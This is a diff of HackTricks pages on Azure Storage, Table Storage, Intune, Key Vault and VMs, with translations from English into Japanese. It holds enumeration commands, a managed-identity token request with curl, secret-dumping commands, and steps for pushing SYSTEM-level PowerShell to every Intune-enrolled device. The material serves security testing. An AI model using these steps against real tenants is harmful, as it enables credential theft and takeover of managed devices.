--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
|
||||
## Use the returned SAS key with the param --sas-token
|
||||
## e.g.
|
||||
az storage blob show \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
|
||||
#Local-Users
|
||||
## List users
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
## Get user
|
||||
az storage account local-user show \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
|
||||
## List keys
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
@@ -359,16 +346,16 @@ Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name
|
||||
|
||||
# Create a Container Policy
|
||||
New-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
#Get Container policy
|
||||
Get-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
|
||||
# Queue Management
|
||||
Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
@@ -377,65 +364,60 @@ Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupNam
|
||||
#Blob Container
|
||||
Get-AzStorageBlob -Container <container-name> -Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
Get-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
Set-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
# Shared Access Signatures (SAS)
|
||||
Get-AzStorageContainerAcl `
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
|
||||
New-AzStorageBlobSASToken `
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### File Shares
|
||||
### ファイル共有
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイテーション
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 永続性
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,35 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
|
||||
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、およびスケーラビリティを提供し、大規模なデータセットを効率的に処理します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
|
||||
|
||||
There **isn't built-in backup mechanism** for table storage.
|
||||
テーブルストレージには**組み込みのバックアップメカニズム**はありません。
|
||||
|
||||
### Keys
|
||||
### キー
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
|
||||
- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
|
||||
- **PartitionKey はエンティティを論理パーティションにグループ化します**。同じ PartitionKey を持つエンティティは一緒に保存され、クエリパフォーマンスとスケーラビリティが向上します。
|
||||
- 例: 従業員データを保存するテーブルでは、`PartitionKey` は部門を表すことがあります。例えば、`"HR"` または `"IT"`。
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
|
||||
- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
|
||||
- **RowKey はパーティション内のエンティティの一意の識別子**です。PartitionKey と組み合わせることで、テーブル内の各エンティティがグローバルに一意の識別子を持つことを保証します。
|
||||
- 例: `"HR"` パーティションの場合、`RowKey` は従業員 ID であることがあります。例えば、`"12345"`。
|
||||
|
||||
#### **Other Properties (Custom Properties)**
|
||||
#### **その他のプロパティ (カスタムプロパティ)**
|
||||
|
||||
- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
|
||||
- Properties are stored as **key-value pairs**.
|
||||
- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
|
||||
- PartitionKey と RowKey に加えて、エンティティはデータを保存するための追加の**カスタムプロパティ**を持つことができます。これらはユーザー定義であり、従来のデータベースの列のように機能します。
|
||||
- プロパティは**キー-バリューペア**として保存されます。
|
||||
- 例: `Name`、`Age`、`Title` は従業員のカスタムプロパティである可能性があります。
|
||||
|
||||
## Enumeration
|
||||
## 列挙
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list
|
||||
@@ -40,32 +39,30 @@ az storage table list --account-name <name>
|
||||
|
||||
# Read table
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
|
||||
# Write table
|
||||
az storage entity insert \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
|
||||
# Write example
|
||||
az storage entity insert \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update row
|
||||
az storage entity merge \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
@@ -73,20 +70,19 @@ Get-AzStorageAccount
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
|
||||
> デフォルトでは `az` cli はアカウントキーを使用してキーに署名し、アクションを実行します。Entra ID プリンシパルの権限を使用するには、パラメータ `--auth-mode login` を使用してください。
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> 使用するアカウントキーを示すには、パラメータ `--account-key` を使用します\
|
||||
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Same as storage privesc:
|
||||
ストレージの特権昇格と同様です:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
@@ -100,14 +96,10 @@ Same as storage privesc:
|
||||
|
||||
## Persistence
|
||||
|
||||
Same as storage persistence:
|
||||
ストレージの永続性と同様です:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,34 +2,28 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
|
||||
Microsoft Intuneは、**アプリとデバイスの管理**プロセスを効率化するように設計されています。その機能は、モバイルデバイス、デスクトップコンピュータ、仮想エンドポイントを含む多様なデバイスにわたります。Intuneのコア機能は、**ユーザーアクセスの管理と、組織のネットワーク内でのアプリケーション**およびデバイスの管理を簡素化することにあります。
|
||||
|
||||
## Cloud -> On-Prem
|
||||
|
||||
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
|
||||
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
|
||||
## クラウド -> オンプレミス
|
||||
|
||||
**グローバル管理者**または**Intune管理者**の役割を持つユーザーは、任意の**登録されたWindows**デバイスで**PowerShell**スクリプトを実行できます。\
|
||||
**スクリプト**は、変更がない限りデバイス上で**SYSTEM**の**特権**で一度だけ実行され、Intuneからは**スクリプトの出力を確認することはできません**。
|
||||
```powershell
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) にログインするか、Pass-The-PRTを使用します。
|
||||
2. **デバイス** -> **すべてのデバイス**に移動して、Intuneに登録されているデバイスを確認します。
|
||||
3. **スクリプト**に移動し、Windows 10のために**追加**をクリックします。
|
||||
4. **Powershellスクリプト**を追加します。
|
||||
- .png>)
|
||||
5. **割り当て**ページで**すべてのユーザーを追加**および**すべてのデバイスを追加**を指定します。
|
||||
|
||||
1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
- .png>)
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
スクリプトの実行には最大で**1時間**かかる場合があります。
|
||||
|
||||
The execution of the script can take up to **one hour**.
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,69 +2,66 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Azure Key Vault** is a cloud service provided by Microsoft Azure for securely storing and managing sensitive information such as **secrets, keys, certificates, and passwords**. It acts as a centralized repository, offering secure access and fine-grained control using Azure Active Directory (Azure AD). From a security perspective, Key Vault provides **hardware security module (HSM) protection** for cryptographic keys, ensures secrets are encrypted both at rest and in transit, and offers robust access management through **role-based access control (RBAC)** and policies. It also features **audit logging**, integration with Azure Monitor for tracking access, and automated key rotation to reduce risk from prolonged key exposure.
|
||||
**Azure Key Vault**は、Microsoft Azureが提供するクラウドサービスで、**シークレット、キー、証明書、パスワード**などの機密情報を安全に保存および管理します。これは中央集権的なリポジトリとして機能し、Azure Active Directory (Azure AD)を使用して安全なアクセスと細かな制御を提供します。セキュリティの観点から、Key Vaultは暗号鍵のための**ハードウェアセキュリティモジュール (HSM) 保護**を提供し、シークレットが静止時および転送中に暗号化されることを保証し、**ロールベースのアクセス制御 (RBAC)**およびポリシーを通じて堅牢なアクセス管理を提供します。また、**監査ログ**、アクセス追跡のためのAzure Monitorとの統合、および長期間の鍵露出からのリスクを軽減するための自動鍵ローテーション機能も備えています。
|
||||
|
||||
See [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) for complete details.
|
||||
完全な詳細については、[Azure Key Vault REST APIの概要](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)を参照してください。
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults support storing software and HSM-backed keys, secrets, and certificates. Managed HSM pools only support HSM-backed keys.
|
||||
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックのキー、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックのキーのみをサポートします。
|
||||
|
||||
The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` and for managed HSM pools it's: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
**ボールト**の**URL形式**は`https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`で、管理されたHSMプールの場合は`https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`です。
|
||||
|
||||
Where:
|
||||
ここで:
|
||||
|
||||
- `vault-name` is the globally **unique** name of the key vault
|
||||
- `object-type` can be "keys", "secrets" or "certificates"
|
||||
- `object-name` is **unique** name of the object within the key vault
|
||||
- `object-version` is system generated and optionally used to address a **unique version of an object**.
|
||||
- `vault-name`はキー ボールトのグローバルに**一意**な名前です。
|
||||
- `object-type`は「keys」、「secrets」または「certificates」です。
|
||||
- `object-name`はキー ボールト内の**一意**なオブジェクト名です。
|
||||
- `object-version`はシステム生成され、**オブジェクトの一意のバージョン**を指定するためにオプションで使用されます。
|
||||
|
||||
In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
|
||||
ボールトに保存されたシークレットにアクセスするためには、ボールトを作成する際に2つの権限モデルのいずれかを選択できます:
|
||||
|
||||
- **Vault access policy**
|
||||
- **Azure RBAC** (most common and recommended)
|
||||
- You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
|
||||
- **ボールトアクセスポリシー**
|
||||
- **Azure RBAC**(最も一般的で推奨される)
|
||||
- サポートされているすべての詳細な権限は[https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)で確認できます。
|
||||
|
||||
### Access Control <a href="#access-control" id="access-control"></a>
|
||||
### アクセス制御 <a href="#access-control" id="access-control"></a>
|
||||
|
||||
Access to a Key Vault resource is controlled by two planes:
|
||||
Key Vaultリソースへのアクセスは、2つのプレーンによって制御されます:
|
||||
|
||||
- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
|
||||
- It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
|
||||
- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
|
||||
- It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
|
||||
- **管理プレーン**、そのターゲットは[management.azure.com](http://management.azure.com/)です。
|
||||
- これはキー ボールトと**アクセスポリシー**を管理するために使用されます。Azureロールベースのアクセス制御(**RBAC**)のみがサポートされています。
|
||||
- **データプレーン**、そのターゲットは**`<vault-name>.vault.azure.com`**です。
|
||||
- これはキー ボールト内の**データ**(キー、シークレット、証明書)を管理およびアクセスするために使用されます。これには**キー ボールトアクセスポリシー**またはAzure **RBAC**がサポートされています。
|
||||
|
||||
A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
|
||||
**Contributor**のような役割は、アクセスポリシーを管理するための管理プレーンでの権限を持っているため、アクセスポリシーを変更することでシークレットにアクセスできます。
|
||||
|
||||
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
### Key Vault RBAC組み込みロール <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
|
||||
<figure><img src="../../../images/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Network Access
|
||||
### ネットワークアクセス
|
||||
|
||||
In Azure Key Vault, **firewall** rules can be set up to **allow data plane operations only from specified virtual networks or IPv4 address ranges**. This restriction also affects access through the Azure administration portal; users will not be able to list keys, secrets, or certificates in a key vault if their login IP address is not within the authorized range.
|
||||
|
||||
For analyzing and managing these settings, you can use the **Azure CLI**:
|
||||
Azure Key Vaultでは、**ファイアウォール**ルールを設定して、**指定された仮想ネットワークまたはIPv4アドレス範囲からのみデータプレーン操作を許可**することができます。この制限はAzure管理ポータルを通じたアクセスにも影響し、ログインIPアドレスが承認された範囲内でない場合、ユーザーはキー、シークレット、または証明書をキー ボールト内でリストすることができません。
|
||||
|
||||
これらの設定を分析および管理するために、**Azure CLI**を使用できます:
|
||||
```bash
|
||||
az keyvault show --name name-vault --query networkAcls
|
||||
```
|
||||
|
||||
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
|
||||
|
||||
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
|
||||
|
||||
### Deletion Protection
|
||||
### 削除保護
|
||||
|
||||
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
|
||||
|
||||
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
|
||||
|
||||
## Enumeration
|
||||
## 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List all Key Vaults in the subscription
|
||||
az keyvault list
|
||||
@@ -92,11 +89,9 @@ az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
|
||||
# Get old versions secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
@@ -120,11 +115,9 @@ Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
|
||||
# Get secret values
|
||||
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az script" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -151,38 +144,33 @@ echo "Vault Name,Associated Resource Group" > $CSV_OUTPUT
|
||||
# Iterate over each resource group
|
||||
for GROUP in $AZ_RESOURCE_GROUPS
|
||||
do
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-key-vault-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイテーション
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-key-vault-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,60 @@
|
||||
# Az - Virtual Machines & Network
|
||||
# Az - 仮想マシンとネットワーク
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Networking Basic Info
|
||||
## Azure ネットワーキング基本情報
|
||||
|
||||
Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
|
||||
Azure ネットワークには **異なるエンティティと構成方法が含まれています。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドは以下にあります:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
{{#endref}}
|
||||
|
||||
## VMs Basic information
|
||||
## VMs 基本情報
|
||||
|
||||
Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
|
||||
Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、セキュリティツールなどの Azure サービスと統合できます。
|
||||
|
||||
### Security Configurations
|
||||
### セキュリティ構成
|
||||
|
||||
- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
|
||||
- **Security Type**:
|
||||
- **Standard Security**: This is the default security type that does not require any specific configuration.
|
||||
- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
|
||||
- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
|
||||
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
|
||||
- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC network security group**:
|
||||
- **None**: Basically opens every port
|
||||
- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Advanced**: Select a security group
|
||||
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
|
||||
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
|
||||
- Percentage CPU is greater than 80%
|
||||
- Available Memory Bytes is less than 1GB
|
||||
- Data Disks IOPS Consumed Percentage is greater than 95%
|
||||
- OS IOPS Consumed Percentage is greater than 95%
|
||||
- Network in Total is greater than 500GB
|
||||
- Network Out Total is greater than 200GB
|
||||
- VmAvailabilityMetric is less than 1
|
||||
- **Heath monitor**: By default check protocol HTTP in port 80
|
||||
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
|
||||
- Most VM related resources **also support locks** like disks, snapshots...
|
||||
- Locks can also be applied at **resource group and subscription levels**
|
||||
- **可用性ゾーン**: 可用性ゾーンは、特定の Azure リージョン内の物理的に分離されたデータセンターの異なるグループで、ローカルの障害や災害による複数のゾーンへの影響のリスクを最小限に抑えます。
|
||||
- **セキュリティタイプ**:
|
||||
- **標準セキュリティ**: これは特別な構成を必要としないデフォルトのセキュリティタイプです。
|
||||
